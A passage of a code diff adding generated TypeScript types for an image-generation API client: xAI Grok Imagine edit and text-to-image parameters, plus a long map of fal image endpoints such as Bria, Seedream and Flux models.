+ image_urls?: string[] + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputXaiGrokImagineImageV20EditOutputFormatEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Aspect ratio of the edited image. Standard auto uses the nearest supported ratio of the first reference. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineImageV20EditAspectRatioEnumKey + /** + * @description Resolution of the generated image: 1k, 1.5k, or 2k. + * @default '1k' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineImageV20EditResolutionEnumKey + /** + * @description Quality level of the edited image. `auto` lets xAI choose; it currently uses `medium` for editing. + * @default 'medium' + * @type string | undefined + */ + quality?: InputXaiGrokImagineImageV20EditQualityEnumKey + /** + * @description Text description of the desired image. + * @maxLength 8000 + * @example Make this scene more realistic but still keep the game vibes + * @type string + */ + prompt: string +} + +export type ImageFileE6E8546A = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputXaiGrokImagineImageV20Edit = { + /** + * @description The enhanced prompt that was used to generate the image. + */ + revised_prompt?: string | null + /** + * @description The URL of the edited image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b911d/XMqiVoO2ECXUZEUYmPl2l.jpg"}] + * @type array + */ + images: ImageFileE6E8546A[] +} + +export const inputXaiGrokImagineImageV20TextToImageAspectRatioEnum = { + '2:1': '2:1', + '20:9': '20:9', + '19.5:9': '19.5:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:19.5': '9:19.5', + '9:20': '9:20', + '1:2': '1:2', + auto: 'auto', + '21:9': '21:9', + '5:2': '5:2', +} as const + +export type InputXaiGrokImagineImageV20TextToImageAspectRatioEnumKey = + (typeof inputXaiGrokImagineImageV20TextToImageAspectRatioEnum)[keyof typeof inputXaiGrokImagineImageV20TextToImageAspectRatioEnum] + +export const inputXaiGrokImagineImageV20TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputXaiGrokImagineImageV20TextToImageOutputFormatEnumKey = + (typeof inputXaiGrokImagineImageV20TextToImageOutputFormatEnum)[keyof typeof inputXaiGrokImagineImageV20TextToImageOutputFormatEnum] + +export const inputXaiGrokImagineImageV20TextToImageResolutionEnum = { + '1k': '1k', + '1.5k': '1.5k', + '2k': '2k', +} as const + +export type InputXaiGrokImagineImageV20TextToImageResolutionEnumKey = + (typeof inputXaiGrokImagineImageV20TextToImageResolutionEnum)[keyof typeof inputXaiGrokImagineImageV20TextToImageResolutionEnum] + +export const inputXaiGrokImagineImageV20TextToImageQualityEnum = { + low: 'low', + medium: 'medium', + auto: 'auto', +} as const + +export type InputXaiGrokImagineImageV20TextToImageQualityEnumKey = + (typeof inputXaiGrokImagineImageV20TextToImageQualityEnum)[keyof typeof inputXaiGrokImagineImageV20TextToImageQualityEnum] + +export type InputXaiGrokImagineImageV20TextToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Aspect ratio of the generated image. Use auto to let the provider choose. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineImageV20TextToImageAspectRatioEnumKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputXaiGrokImagineImageV20TextToImageOutputFormatEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Resolution of the generated image: 1k, 1.5k, or 2k. + * @default '1k' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineImageV20TextToImageResolutionEnumKey + /** + * @description Quality level of the generated image. `auto` lets xAI choose; it currently uses `low` for generation. + * @default 'medium' + * @type string | undefined + */ + quality?: InputXaiGrokImagineImageV20TextToImageQualityEnumKey + /** + * @description Text description of the desired image. + * @maxLength 8000 + * @example Abstract human silhouette, golden particles ready to burst outward representing joy, data visualization style, emotional expression through particles, artistic scientific + * @type string + */ + prompt: string +} + +export type ImageFileD82C94Af = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputXaiGrokImagineImageV20TextToImage = { + /** + * @description The enhanced prompt that was used to generate the image. + */ + revised_prompt?: string | null + /** + * @description The URL of the generated image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b90b7/9avg_nKJmcVinjQHJR_Ja.jpg"}] + * @type array + */ + images: ImageFileD82C94Af[] +} + +export type FalImageEndpoints = { + 'alibaba/qwen-image-3/edit': { + /** + * @description Input for Qwen Image 3 image editing with reference images. + * @type object + */ + input: InputAlibabaQwenImage3Edit + output: OutputAlibabaQwenImage3Edit + } + 'alibaba/qwen-image-3/text-to-image': { + input: InputAlibabaQwenImage3TextToImage + output: OutputAlibabaQwenImage3TextToImage + } + 'blackforestlabs/flux-3/edit-image': { + input: InputBlackforestlabsFlux3EditImage + output: OutputBlackforestlabsFlux3EditImage + } + 'blackforestlabs/flux-3/klein/base/edit-image/lora': { + input: InputBlackforestlabsFlux3KleinBaseEditImageLora + output: OutputBlackforestlabsFlux3KleinBaseEditImageLora + } + 'blackforestlabs/flux-3/klein/base/text-to-image/lora': { + input: InputBlackforestlabsFlux3KleinBaseTextToImageLora + output: OutputBlackforestlabsFlux3KleinBaseTextToImageLora + } + 'blackforestlabs/flux-3/klein/edit-image': { + input: InputBlackforestlabsFlux3KleinEditImage + output: OutputBlackforestlabsFlux3KleinEditImage + } + 'blackforestlabs/flux-3/klein/edit-image/lora': { + input: InputBlackforestlabsFlux3KleinEditImageLora + output: OutputBlackforestlabsFlux3KleinEditImageLora + } + 'blackforestlabs/flux-3/klein/text-to-image': { + input: InputBlackforestlabsFlux3KleinTextToImage + output: OutputBlackforestlabsFlux3KleinTextToImage + } + 'blackforestlabs/flux-3/klein/text-to-image/lora': { + input: InputBlackforestlabsFlux3KleinTextToImageLora + output: OutputBlackforestlabsFlux3KleinTextToImageLora + } + 'blackforestlabs/flux-3/text-to-image': { + input: InputBlackforestlabsFlux3TextToImage + output: OutputBlackforestlabsFlux3TextToImage + } + 'bria/embed-product': { + input: InputBriaEmbedProduct + output: OutputBriaEmbedProduct + } + 'bria/extract-object': { + input: InputBriaExtractObject + output: OutputBriaExtractObject + } + 'bria/fibo-2/edit': { + input: InputBriaFibo2Edit + output: OutputBriaFibo2Edit + } + 'bria/fibo-2/generate': { + input: InputBriaFibo2Generate + output: OutputBriaFibo2Generate + } + 'bria/fibo-bbq-preview/generate': { + input: InputBriaFiboBbqPreviewGenerate + output: OutputBriaFiboBbqPreviewGenerate + } + 'bria/fibo-edit-1.5/edit': { + input: InputBriaFiboEdit15Edit + output: OutputBriaFiboEdit15Edit + } + 'bria/fibo-edit-1.5/expand': { + /** + * @description An expansion request: an image, a canvas to grow it into, and optionally what to put there. + * @type object + */ + input: InputBriaFiboEdit15Expand + output: OutputBriaFiboEdit15Expand + } + 'bria/fibo-edit-1.5/product-holding': { + input: InputBriaFiboEdit15ProductHolding + output: OutputBriaFiboEdit15ProductHolding + } + 'bria/fibo-edit-1.5/virtual-try-on': { + input: InputBriaFiboEdit15VirtualTryOn + output: OutputBriaFiboEdit15VirtualTryOn + } + 'bria/fibo-edit/add_object_by_text': { + input: InputBriaFiboEditAddObjectByText + output: OutputBriaFiboEditAddObjectByText + } + 'bria/fibo-edit/blend': { + input: InputBriaFiboEditBlend + output: OutputBriaFiboEditBlend + } + 'bria/fibo-edit/colorize': { + input: InputBriaFiboEditColorize + output: OutputBriaFiboEditColorize + } + 'bria/fibo-edit/edit': { + input: InputBriaFiboEditEdit + output: OutputBriaFiboEditEdit + } + 'bria/fibo-edit/erase_by_text': { + input: InputBriaFiboEditEraseByText + output: OutputBriaFiboEditEraseByText + } + 'bria/fibo-edit/relight': { + input: InputBriaFiboEditRelight + output: OutputBriaFiboEditRelight + } + 'bria/fibo-edit/replace_object_by_text': { + input: InputBriaFiboEditReplaceObjectByText + output: OutputBriaFiboEditReplaceObjectByText + } + 'bria/fibo-edit/reseason': { + input: InputBriaFiboEditReseason + output: OutputBriaFiboEditReseason + } + 'bria/fibo-edit/restore': { + input: InputBriaFiboEditRestore + output: OutputBriaFiboEditRestore + } + 'bria/fibo-edit/restyle': { + input: InputBriaFiboEditRestyle + output: OutputBriaFiboEditRestyle + } + 'bria/fibo-edit/rewrite_text': { + input: InputBriaFiboEditRewriteText + output: OutputBriaFiboEditRewriteText + } + 'bria/fibo-edit/sketch_to_colored_image': { + input: InputBriaFiboEditSketchToColoredImage + output: OutputBriaFiboEditSketchToColoredImage + } + 'bria/fibo-gen-1.5/text-to-image': { + input: InputBriaFiboGen15TextToImage + output: OutputBriaFiboGen15TextToImage + } + 'bria/fibo-lite/generate': { + input: InputBriaFiboLiteGenerate + output: OutputBriaFiboLiteGenerate + } + 'bria/fibo/generate': { + input: InputBriaFiboGenerate + output: OutputBriaFiboGenerate + } + 'bria/genfill/v2': { + input: InputBriaGenfillV2 + output: OutputBriaGenfillV2 + } + 'bria/guided-remove-background': { + input: InputBriaGuidedRemoveBackground + output: OutputBriaGuidedRemoveBackground + } + 'bria/increase-resolution': { + input: InputBriaIncreaseResolution + output: OutputBriaIncreaseResolution + } + 'bria/product-dimensions': { + input: InputBriaProductDimensions + output: OutputBriaProductDimensions + } + 'bria/replace-background': { + input: InputBriaReplaceBackground + output: OutputBriaReplaceBackground + } + 'bria/upscale/creative': { + input: InputBriaUpscaleCreative + output: OutputBriaUpscaleCreative + } + 'bytedance/seedream/v5/flash/edit': { + input: InputBytedanceSeedreamV5FlashEdit + output: OutputBytedanceSeedreamV5FlashEdit + } + 'bytedance/seedream/v5/flash/layerize': { + input: InputBytedanceSeedreamV5FlashLayerize + output: OutputBytedanceSeedreamV5FlashLayerize + } + 'bytedance/seedream/v5/flash/text-to-image': { + input: InputBytedanceSeedreamV5FlashTextToImage + output: OutputBytedanceSeedreamV5FlashTextToImage + } + 'bytedance/seedream/v5/lite/edit': { + input: InputBytedanceSeedreamV5LiteEdit + output: OutputBytedanceSeedreamV5LiteEdit + } + 'bytedance/seedream/v5/lite/text-to-image': { + input: InputBytedanceSeedreamV5LiteTextToImage + output: OutputBytedanceSeedreamV5LiteTextToImage + } + 'bytedance/seedream/v5/pro/edit': { + input: InputBytedanceSeedreamV5ProEdit + output: OutputBytedanceSeedreamV5ProEdit + } + 'bytedance/seedream/v5/pro/layerize': { + input: InputBytedanceSeedreamV5ProLayerize + output: OutputBytedanceSeedreamV5ProLayerize + } + 'bytedance/seedream/v5/pro/text-to-image': { + input: InputBytedanceSeedreamV5ProTextToImage + output: OutputBytedanceSeedreamV5ProTextToImage + } + 'clarityai/crystal-upscaler': { + input: InputClarityaiCrystalUpscaler + output: OutputClarityaiCrystalUpscaler + } + 'fal-ai/aura-sr': { + input: InputFalAiAuraSr + output: OutputFalAiAuraSr + } + 'fal-ai/bagel': { + input: InputFalAiBagel + output: OutputFalAiBagel + } + 'fal-ai/bagel/edit': { + input: InputFalAiBagelEdit + output: OutputFalAiBagelEdit + } + 'fal-ai/ben/v2/image': { + input: InputFalAiBenV2Image + output: OutputFalAiBenV2Image + } + 'fal-ai/birefnet': { + input: InputFalAiBirefnet + output: OutputFalAiBirefnet + } + 'fal-ai/birefnet/v2': { + input: InputFalAiBirefnetV2 + output: OutputFalAiBirefnetV2 + } + 'fal-ai/boogu-image': { + input: InputFalAiBooguImage + output: OutputFalAiBooguImage + } + 'fal-ai/boogu-image/edit': { + input: InputFalAiBooguImageEdit + output: OutputFalAiBooguImageEdit + } + 'fal-ai/bria/background/remove': { + input: InputFalAiBriaBackgroundRemove + output: OutputFalAiBriaBackgroundRemove + } + 'fal-ai/bria/background/replace': { + input: InputFalAiBriaBackgroundReplace + output: OutputFalAiBriaBackgroundReplace + } + 'fal-ai/bria/eraser': { + input: InputFalAiBriaEraser + output: OutputFalAiBriaEraser + } + 'fal-ai/bria/expand': { + input: InputFalAiBriaExpand + output: OutputFalAiBriaExpand + } + 'fal-ai/bria/genfill': { + input: InputFalAiBriaGenfill + output: OutputFalAiBriaGenfill + } + 'fal-ai/bria/product-shot': { + input: InputFalAiBriaProductShot + output: OutputFalAiBriaProductShot + } + 'fal-ai/bria/reimagine': { + input: InputFalAiBriaReimagine + output: OutputFalAiBriaReimagine + } + 'fal-ai/bria/text-to-image/base': { + input: InputFalAiBriaTextToImageBase + output: OutputFalAiBriaTextToImageBase + } + 'fal-ai/bria/text-to-image/fast': { + input: InputFalAiBriaTextToImageFast + output: OutputFalAiBriaTextToImageFast + } + 'fal-ai/bria/text-to-image/hd': { + input: InputFalAiBriaTextToImageHd + output: OutputFalAiBriaTextToImageHd + } + 'fal-ai/bytedance/seedream/v4.5/edit': { + input: InputFalAiBytedanceSeedreamV45Edit + output: OutputFalAiBytedanceSeedreamV45Edit + } + 'fal-ai/bytedance/seedream/v4.5/text-to-image': { + input: InputFalAiBytedanceSeedreamV45TextToImage + output: OutputFalAiBytedanceSeedreamV45TextToImage + } + 'fal-ai/bytedance/seedream/v4/edit': { + input: InputFalAiBytedanceSeedreamV4Edit + output: OutputFalAiBytedanceSeedreamV4Edit + } + 'fal-ai/bytedance/seedream/v4/text-to-image': { + input: InputFalAiBytedanceSeedreamV4TextToImage + output: OutputFalAiBytedanceSeedreamV4TextToImage + } + 'fal-ai/cat-vton': { + input: InputFalAiCatVton + output: OutputFalAiCatVton + } + 'fal-ai/clarity-upscaler': { + input: InputFalAiClarityUpscaler + output: OutputFalAiClarityUpscaler + } + 'fal-ai/codeformer': { + input: InputFalAiCodeformer + output: OutputFalAiCodeformer + } + 'fal-ai/control-light': { + input: InputFalAiControlLight + output: OutputFalAiControlLight + } + 'fal-ai/creative-upscaler': { + input: InputFalAiCreativeUpscaler + output: OutputFalAiCreativeUpscaler + } + 'fal-ai/ddcolor': { + input: InputFalAiDdcolor + output: OutputFalAiDdcolor + } + 'fal-ai/dwpose': { + input: InputFalAiDwpose + output: OutputFalAiDwpose + } + 'fal-ai/emu-3.5-image/edit-image': { + input: InputFalAiEmu35ImageEditImage + output: OutputFalAiEmu35ImageEditImage + } + 'fal-ai/emu-3.5-image/text-to-image': { + input: InputFalAiEmu35ImageTextToImage + output: OutputFalAiEmu35ImageTextToImage + } + 'fal-ai/ernie-image': { + input: InputFalAiErnieImage + output: OutputFalAiErnieImage + } + 'fal-ai/ernie-image/lora': { + input: InputFalAiErnieImageLora + output: OutputFalAiErnieImageLora + } + 'fal-ai/ernie-image/lora/turbo': { + input: InputFalAiErnieImageLoraTurbo + output: OutputFalAiErnieImageLoraTurbo + } + 'fal-ai/ernie-image/turbo': { + input: InputFalAiErnieImageTurbo + output: OutputFalAiErnieImageTurbo + } + 'fal-ai/esrgan': { + input: InputFalAiEsrgan + output: OutputFalAiEsrgan + } + 'fal-ai/evf-sam': { + input: InputFalAiEvfSam + output: OutputFalAiEvfSam + } + 'fal-ai/fashn/tryon/v1.5': { + input: InputFalAiFashnTryonV15 + output: OutputFalAiFashnTryonV15 + } + 'fal-ai/fashn/tryon/v1.6': { + input: InputFalAiFashnTryonV16 + output: OutputFalAiFashnTryonV16 + } + 'fal-ai/fast-lcm-diffusion': { + input: InputFalAiFastLcmDiffusion + output: OutputFalAiFastLcmDiffusion + } + 'fal-ai/fast-lcm-diffusion/image-to-image': { + input: InputFalAiFastLcmDiffusionImageToImage + output: OutputFalAiFastLcmDiffusionImageToImage + } + 'fal-ai/fast-lcm-diffusion/inpainting': { + input: InputFalAiFastLcmDiffusionInpainting + output: OutputFalAiFastLcmDiffusionInpainting + } + 'fal-ai/fast-lightning-sdxl': { + input: InputFalAiFastLightningSdxl + output: OutputFalAiFastLightningSdxl + } + 'fal-ai/fast-lightning-sdxl/image-to-image': { + input: InputFalAiFastLightningSdxlImageToImage + output: OutputFalAiFastLightningSdxlImageToImage + } + 'fal-ai/fast-lightning-sdxl/inpainting': { + input: InputFalAiFastLightningSdxlInpainting + output: OutputFalAiFastLightningSdxlInpainting + } + 'fal-ai/fast-sdxl': { + input: InputFalAiFastSdxl + output: OutputFalAiFastSdxl + } + 'fal-ai/fast-sdxl/image-to-image': { + input: InputFalAiFastSdxlImageToImage + output: OutputFalAiFastSdxlImageToImage + } + 'fal-ai/fast-sdxl/inpainting': { + input: InputFalAiFastSdxlInpainting + output: OutputFalAiFastSdxlInpainting + } + 'fal-ai/feynobg': { + input: InputFalAiFeynobg + output: OutputFalAiFeynobg + } + 'fal-ai/ffmpeg-api/extract-frame': { + input: InputFalAiFfmpegApiExtractFrame + output: OutputFalAiFfmpegApiExtractFrame + } + 'fal-ai/film': { + input: InputFalAiFilm + output: OutputFalAiFilm + } + 'fal-ai/finegrain-eraser': { + input: InputFalAiFinegrainEraser + output: OutputFalAiFinegrainEraser + } + 'fal-ai/finegrain-eraser/bbox': { + input: InputFalAiFinegrainEraserBbox + output: OutputFalAiFinegrainEraserBbox + } + 'fal-ai/finegrain-eraser/mask': { + input: InputFalAiFinegrainEraserMask + output: OutputFalAiFinegrainEraserMask + } + 'fal-ai/firered-image-edit-v1.1': { + input: InputFalAiFireredImageEditV11 + output: OutputFalAiFireredImageEditV11 + } + 'fal-ai/florence-2-large/caption-to-phrase-grounding': { + input: InputFalAiFlorence2LargeCaptionToPhraseGrounding + output: OutputFalAiFlorence2LargeCaptionToPhraseGrounding + } + 'fal-ai/florence-2-large/dense-region-caption': { + input: InputFalAiFlorence2LargeDenseRegionCaption + output: OutputFalAiFlorence2LargeDenseRegionCaption + } + 'fal-ai/florence-2-large/object-detection': { + input: InputFalAiFlorence2LargeObjectDetection + output: OutputFalAiFlorence2LargeObjectDetection + } + 'fal-ai/florence-2-large/ocr-with-region': { + input: InputFalAiFlorence2LargeOcrWithRegion + output: OutputFalAiFlorence2LargeOcrWithRegion + } + 'fal-ai/florence-2-large/open-vocabulary-detection': { + input: InputFalAiFlorence2LargeOpenVocabularyDetection + output: OutputFalAiFlorence2LargeOpenVocabularyDetection + } + 'fal-ai/florence-2-large/referring-expression-segmentation': { + input: InputFalAiFlorence2LargeReferringExpressionSegmentation + output: OutputFalAiFlorence2LargeReferringExpressionSegmentation + } + 'fal-ai/florence-2-large/region-proposal': { + input: InputFalAiFlorence2LargeRegionProposal + output: OutputFalAiFlorence2LargeRegionProposal + } + 'fal-ai/florence-2-large/region-to-segmentation': { + input: InputFalAiFlorence2LargeRegionToSegmentation + output: OutputFalAiFlorence2LargeRegionToSegmentation + } + 'fal-ai/flux-1/dev': { + input: InputFalAiFlux1Dev + output: OutputFalAiFlux1Dev + } + 'fal-ai/flux-1/dev/image-to-image': { + input: InputFalAiFlux1DevImageToImage + output: OutputFalAiFlux1DevImageToImage + } + 'fal-ai/flux-1/dev/redux': { + input: InputFalAiFlux1DevRedux + output: OutputFalAiFlux1DevRedux + } + 'fal-ai/flux-1/krea': { + input: InputFalAiFlux1Krea + output: OutputFalAiFlux1Krea + } + 'fal-ai/flux-1/krea/image-to-image': { + input: InputFalAiFlux1KreaImageToImage + output: OutputFalAiFlux1KreaImageToImage + } + 'fal-ai/flux-1/krea/redux': { + input: InputFalAiFlux1KreaRedux + output: OutputFalAiFlux1KreaRedux + } + 'fal-ai/flux-1/schnell': { + input: InputFalAiFlux1Schnell + output: OutputFalAiFlux1Schnell + } + 'fal-ai/flux-1/schnell/redux': { + input: InputFalAiFlux1SchnellRedux + output: OutputFalAiFlux1SchnellRedux + } + 'fal-ai/flux-1/srpo': { + input: InputFalAiFlux1Srpo + output: OutputFalAiFlux1Srpo + } + 'fal-ai/flux-1/srpo/image-to-image': { + input: InputFalAiFlux1SrpoImageToImage + output: OutputFalAiFlux1SrpoImageToImage + } + 'fal-ai/flux-2': { + input: InputFalAiFlux2 + output: OutputFalAiFlux2 + } + 'fal-ai/flux-2-flex': { + input: InputFalAiFlux2Flex + output: OutputFalAiFlux2Flex + } + 'fal-ai/flux-2-flex/edit': { + input: InputFalAiFlux2FlexEdit + output: OutputFalAiFlux2FlexEdit + } + 'fal-ai/flux-2-lora-gallery/add-background': { + /** + * @description Input model for Add Background endpoint - Add background to images + * @type object + */ + input: InputFalAiFlux2LoraGalleryAddBackground + output: OutputFalAiFlux2LoraGalleryAddBackground + } + 'fal-ai/flux-2-lora-gallery/apartment-staging': { + /** + * @description Input model for Apartment Staging endpoint - Furnish rooms + * @type object + */ + input: InputFalAiFlux2LoraGalleryApartmentStaging + output: OutputFalAiFlux2LoraGalleryApartmentStaging + } + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch': { + /** + * @description Input model for Ballpoint Pen Sketch endpoint - Generate ballpoint pen sketch style images + * @type object + */ + input: InputFalAiFlux2LoraGalleryBallpointPenSketch + output: OutputFalAiFlux2LoraGalleryBallpointPenSketch + } + 'fal-ai/flux-2-lora-gallery/digital-comic-art': { + /** + * @description Input model for Digital Comic Art endpoint - Generate digital comic art style images + * @type object + */ + input: InputFalAiFlux2LoraGalleryDigitalComicArt + output: OutputFalAiFlux2LoraGalleryDigitalComicArt + } + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait': { + /** + * @description Input model for Face to Full Portrait endpoint - Generate full portrait from face + * @type object + */ + input: InputFalAiFlux2LoraGalleryFaceToFullPortrait + output: OutputFalAiFlux2LoraGalleryFaceToFullPortrait + } + 'fal-ai/flux-2-lora-gallery/hdr-style': { + /** + * @description Input model for HDR Style endpoint - Generate HDR style images with vibrant colors + * @type object + */ + input: InputFalAiFlux2LoraGalleryHdrStyle + output: OutputFalAiFlux2LoraGalleryHdrStyle + } + 'fal-ai/flux-2-lora-gallery/multiple-angles': { + /** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments using trigger word. Prompt is built automatically from slider values. + * @type object + */ + input: InputFalAiFlux2LoraGalleryMultipleAngles + output: OutputFalAiFlux2LoraGalleryMultipleAngles + } + 'fal-ai/flux-2-lora-gallery/realism': { + /** + * @description Input model for Realism endpoint - Generate realistic style images + * @type object + */ + input: InputFalAiFlux2LoraGalleryRealism + output: OutputFalAiFlux2LoraGalleryRealism + } + 'fal-ai/flux-2-lora-gallery/satellite-view-style': { + /** + * @description Input model for Satellite View Style endpoint - Generate satellite/aerial view style images + * @type object + */ + input: InputFalAiFlux2LoraGallerySatelliteViewStyle + output: OutputFalAiFlux2LoraGallerySatelliteViewStyle + } + 'fal-ai/flux-2-lora-gallery/sepia-vintage': { + /** + * @description Input model for Sepia Vintage Photography endpoint - Generate vintage sepia style images + * @type object + */ + input: InputFalAiFlux2LoraGallerySepiaVintage + output: OutputFalAiFlux2LoraGallerySepiaVintage + } + 'fal-ai/flux-2-lora-gallery/virtual-tryon': { + /** + * @description Input model for Virtual Try-on endpoint - Generate virtual try-on images + * @type object + */ + input: InputFalAiFlux2LoraGalleryVirtualTryon + output: OutputFalAiFlux2LoraGalleryVirtualTryon + } + 'fal-ai/flux-2-max': { + input: InputFalAiFlux2Max + output: OutputFalAiFlux2Max + } + 'fal-ai/flux-2-max/edit': { + input: InputFalAiFlux2MaxEdit + output: OutputFalAiFlux2MaxEdit + } + 'fal-ai/flux-2-pro': { + input: InputFalAiFlux2Pro + output: OutputFalAiFlux2Pro + } + 'fal-ai/flux-2-pro/edit': { + input: InputFalAiFlux2ProEdit + output: OutputFalAiFlux2ProEdit + } + 'fal-ai/flux-2-pro/outpaint': { + input: InputFalAiFlux2ProOutpaint + output: OutputFalAiFlux2ProOutpaint + } + 'fal-ai/flux-2/edit': { + input: InputFalAiFlux2Edit + output: OutputFalAiFlux2Edit + } + 'fal-ai/flux-2/flash': { + input: InputFalAiFlux2Flash + output: OutputFalAiFlux2Flash + } + 'fal-ai/flux-2/flash/edit': { + input: InputFalAiFlux2FlashEdit + output: OutputFalAiFlux2FlashEdit + } + 'fal-ai/flux-2/klein/4b': { + input: InputFalAiFlux2Klein4B + output: OutputFalAiFlux2Klein4B + } + 'fal-ai/flux-2/klein/4b/base': { + input: InputFalAiFlux2Klein4BBase + output: OutputFalAiFlux2Klein4BBase + } + 'fal-ai/flux-2/klein/4b/base/edit': { + input: InputFalAiFlux2Klein4BBaseEdit + output: OutputFalAiFlux2Klein4BBaseEdit + } + 'fal-ai/flux-2/klein/4b/base/edit/lora': { + input: InputFalAiFlux2Klein4BBaseEditLora + output: OutputFalAiFlux2Klein4BBaseEditLora + } + 'fal-ai/flux-2/klein/4b/base/lora': { + input: InputFalAiFlux2Klein4BBaseLora + output: OutputFalAiFlux2Klein4BBaseLora + } + 'fal-ai/flux-2/klein/4b/edit': { + input: InputFalAiFlux2Klein4BEdit + output: OutputFalAiFlux2Klein4BEdit + } + 'fal-ai/flux-2/klein/4b/edit/lora': { + input: InputFalAiFlux2Klein4BEditLora + output: OutputFalAiFlux2Klein4BEditLora + } + 'fal-ai/flux-2/klein/4b/lora': { + input: InputFalAiFlux2Klein4BLora + output: OutputFalAiFlux2Klein4BLora + } + 'fal-ai/flux-2/klein/9b': { + input: InputFalAiFlux2Klein9B + output: OutputFalAiFlux2Klein9B + } + 'fal-ai/flux-2/klein/9b/base': { + input: InputFalAiFlux2Klein9BBase + output: OutputFalAiFlux2Klein9BBase + } + 'fal-ai/flux-2/klein/9b/base/edit': { + input: InputFalAiFlux2Klein9BBaseEdit + output: OutputFalAiFlux2Klein9BBaseEdit + } + 'fal-ai/flux-2/klein/9b/base/edit/lora': { + input: InputFalAiFlux2Klein9BBaseEditLora + output: OutputFalAiFlux2Klein9BBaseEditLora + } + 'fal-ai/flux-2/klein/9b/base/lora': { + input: InputFalAiFlux2Klein9BBaseLora + output: OutputFalAiFlux2Klein9BBaseLora + } + 'fal-ai/flux-2/klein/9b/edit': { + input: InputFalAiFlux2Klein9BEdit + output: OutputFalAiFlux2Klein9BEdit + } + 'fal-ai/flux-2/klein/9b/edit/lora': { + input: InputFalAiFlux2Klein9BEditLora + output: OutputFalAiFlux2Klein9BEditLora + } + 'fal-ai/flux-2/klein/9b/lora': { + input: InputFalAiFlux2Klein9BLora + output: OutputFalAiFlux2Klein9BLora + } + 'fal-ai/flux-2/klein/realtime': { + input: InputFalAiFlux2KleinRealtime + output: OutputFalAiFlux2KleinRealtime + } + 'fal-ai/flux-2/lora': { + input: InputFalAiFlux2Lora + output: OutputFalAiFlux2Lora + } + 'fal-ai/flux-2/lora/edit': { + input: InputFalAiFlux2LoraEdit + output: OutputFalAiFlux2LoraEdit + } + 'fal-ai/flux-2/turbo': { + input: InputFalAiFlux2Turbo + output: OutputFalAiFlux2Turbo + } + 'fal-ai/flux-2/turbo/edit': { + input: InputFalAiFlux2TurboEdit + output: OutputFalAiFlux2TurboEdit + } + 'fal-ai/flux-general': { + input: InputFalAiFluxGeneral + output: OutputFalAiFluxGeneral + } + 'fal-ai/flux-general/differential-diffusion': { + input: InputFalAiFluxGeneralDifferentialDiffusion + output: OutputFalAiFluxGeneralDifferentialDiffusion + } + 'fal-ai/flux-general/image-to-image': { + input: InputFalAiFluxGeneralImageToImage + output: OutputFalAiFluxGeneralImageToImage + } + 'fal-ai/flux-general/inpainting': { + input: InputFalAiFluxGeneralInpainting + output: OutputFalAiFluxGeneralInpainting + } + 'fal-ai/flux-general/rf-inversion': { + input: InputFalAiFluxGeneralRfInversion + output: OutputFalAiFluxGeneralRfInversion + } + 'fal-ai/flux-kontext-lora': { + input: InputFalAiFluxKontextLora + output: OutputFalAiFluxKontextLora + } + 'fal-ai/flux-kontext-lora/inpaint': { + input: InputFalAiFluxKontextLoraInpaint + output: OutputFalAiFluxKontextLoraInpaint + } + 'fal-ai/flux-kontext-lora/text-to-image': { + input: InputFalAiFluxKontextLoraTextToImage + output: OutputFalAiFluxKontextLoraTextToImage + } + 'fal-ai/flux-kontext/dev': { + input: InputFalAiFluxKontextDev + output: OutputFalAiFluxKontextDev + } + 'fal-ai/flux-krea-lora': { + input: InputFalAiFluxKreaLora + output: OutputFalAiFluxKreaLora + } + 'fal-ai/flux-krea-lora/image-to-image': { + input: InputFalAiFluxKreaLoraImageToImage + output: OutputFalAiFluxKreaLoraImageToImage + } + 'fal-ai/flux-krea-lora/inpainting': { + input: InputFalAiFluxKreaLoraInpainting + output: OutputFalAiFluxKreaLoraInpainting + } + 'fal-ai/flux-krea-lora/stream': { + input: InputFalAiFluxKreaLoraStream + output: OutputFalAiFluxKreaLoraStream + } + 'fal-ai/flux-lora': { + input: InputFalAiFluxLora + output: OutputFalAiFluxLora + } + 'fal-ai/flux-lora-canny': { + input: InputFalAiFluxLoraCanny + output: OutputFalAiFluxLoraCanny + } + 'fal-ai/flux-lora-depth': { + input: InputFalAiFluxLoraDepth + output: OutputFalAiFluxLoraDepth + } + 'fal-ai/flux-lora-fill': { + input: InputFalAiFluxLoraFill + output: OutputFalAiFluxLoraFill + } + 